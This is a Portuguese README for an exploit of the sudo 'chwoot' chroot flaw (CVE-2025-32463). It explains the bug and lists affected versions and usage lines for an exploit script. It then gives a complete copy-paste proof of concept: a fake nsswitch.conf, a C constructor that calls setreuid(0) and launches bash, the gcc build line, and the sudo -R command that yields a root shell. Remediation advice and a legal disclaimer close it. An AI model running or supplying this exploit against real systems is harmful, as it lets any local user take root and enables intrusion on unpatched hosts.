CVE-2025-32463 — sudo "chwoot" chroot Escalação Local de Privilégios

Escalação local de privilégios para root no sudo através da opção --chroot (-R). Funciona para qualquer usuário local, incluindo contas sem nenhuma entrada no sudoers (por exemplo, www-data).

sudo 1.9.14 – 1.9.17 faz chroot() para o diretório fornecido pelo usuário enquanto a política do sudoers ainda está sendo avaliada — ou seja, antes da decisão de autorização. Após esse chroot(), as consultas NSS do sudo leem /etc/nsswitch.conf de dentro do chroot do atacante, e a glibc transforma um nome de fonte inválido em dlopen("libnss_<name>.so.2") — carregado e com o construtor executado como root.

Plantar um nsswitch.conf falso (passwd: /woot1337) junto com um libnss_/woot1337.so.2 malicioso cujo construtor ELF executa setreuid(0) + exec("/bin/bash") resulta em um shell root. O exploit é acionado antes da verificação do sudoers, portanto quem o executa não precisa de privilégios sudo.

• Afetados: sudo 1.9.14 – 1.9.17
• Corrigido: 1.9.17p1 (a alteração do chroot na 1.9.14 foi revertida; o recurso foi descontinuado)
• CWE: 829 (Inclusão de Funcionalidade de uma Esfera de Controle Não Confiável)
• Impacto: qualquer usuário local → root. Bug de lógica determinístico (sem corrupção de memória, sem força bruta).
• Divulgado por Rich Mirch (Stratascale), 2025.

Requisitos

Biblioteca padrão do Python 3, um sudo setuid vulnerável (1.9.14–1.9.17) e gcc no alvo (para compilar o pequeno módulo libnss). Execute como o usuário de baixo privilégio.

Uso

python3 exploit.py            # -> interactive root shell
python3 exploit.py -c 'id'    # run a single command as root

Como funciona

1. Prepare um diretório chroot com etc/nsswitch.conf = passwd: /woot1337 (+ uma cópia de /etc/group).
2. Compile libnss_/woot1337.so.2 — um ELF cujo construtor (__attribute__((constructor))) executa setreuid(0,0) e execl("/bin/bash", …).
3. sudo -R woot woot — o sudo faz chroot em woot, resolve o NSS, executa dlopen de libnss_/woot1337.so.2 como root, e o construtor fornece um shell root — antes de o sudo sequer verificar se o usuário é autorizado.

PoC manual canônico (Stratascale / pr0v3rbs "chwoot"):

cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot        # -> root

Verificando um alvo

sudo --version | head -1   # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched

Remediação

Atualize o sudo para ≥ 1.9.17p1. O recurso de chroot está obsoleto e não deve ser utilizado.

Aviso legal

Apenas para testes de segurança autorizados e educação. Use-o somente contra sistemas que você possua ou para os quais tenha permissão explícita para testar.